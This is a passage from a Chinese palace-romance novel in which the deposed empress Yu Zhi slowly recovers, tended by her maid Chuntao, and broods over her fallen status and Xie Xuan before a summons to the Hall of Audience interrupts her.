留下目瞪口呆的春桃,她缓了好一会才忙关了窗去倒了温水扶虞枝喝下。 果然,喝下水后的虞枝眉头舒展了些。 春桃心里有了思量,似乎觉得自己的项上人头稳固了些。 又过几日,在太医的细心照料下,虞枝终于转危为安,人渐渐清醒起来。 经过此番折磨,她愈发清瘦。本就没几两肉的身体更是清减,整个人裹在宽大的披风里,风一吹就要被刮跑了似的。 春桃看着心疼,心想就算是当年最被元临厌弃的时候虞枝也没这么憔悴过。 春桃不知那时的虞枝虽处境艰难,但好歹还有要尽好皇后指责的信念支撑她走下去。而如今,虞枝想了想自己尴尬到极点的身份,想想自己身边人也许将要迎来的不妙下场,她心力交瘁。 “娘娘,把药喝了吧。”春桃端来散发着浓郁苦味的中药。 这药闻起来这么苦,喝下去却有一股奇异的回甘,让人头晕目眩,直想要立刻吐出来。起先虞枝昏迷的时候,一碗药,众人合力才能喂下三分之一,剩下的全部撒在了衣服和被子上。每天喝药像是在打仗一般。 如今虞枝醒了,这药喝得却比之前还要困难。 因为虞枝她自己觉得喝不喝的结果都是一样的。 春桃叹气地先放下药碗,转身去拿新盒里冰凉的膏药来给虞枝涂抹。 “娘娘,这膏药是西域贡品,千金难买,除疤效果一绝!想来用不了多久,娘娘的皮肤就又能跟剥了壳的鸡蛋一样!” “……”虞枝不语,任由春桃的手在她身上游走。 冰凉湿滑的膏药涂抹到伤口上,缓解了伤口因愈合而产生的痛痒。 这药膏难得,绝不是太医能随便开给她的。而在这皇宫中,有能力从库房从拿出这份药膏,同时又会拿来给她的人只有谢玄一个。 想来他也是无法割舍她的容颜吧。 虞枝自嘲,自认她除了姿色以外已经不再有什么地方能令谢玄心软。当年的情分怕已经在这次反叛中被消磨殆尽了。 “娘娘……”春桃看着虞枝心如死灰的表情,犹豫着想要把前几天谢玄孤身在窗外看她的事告诉她,却被外面的声音打断。 小太监慌里慌张地跑进来跪下道:“胡公公传旨,命娘娘立刻前往听政殿!”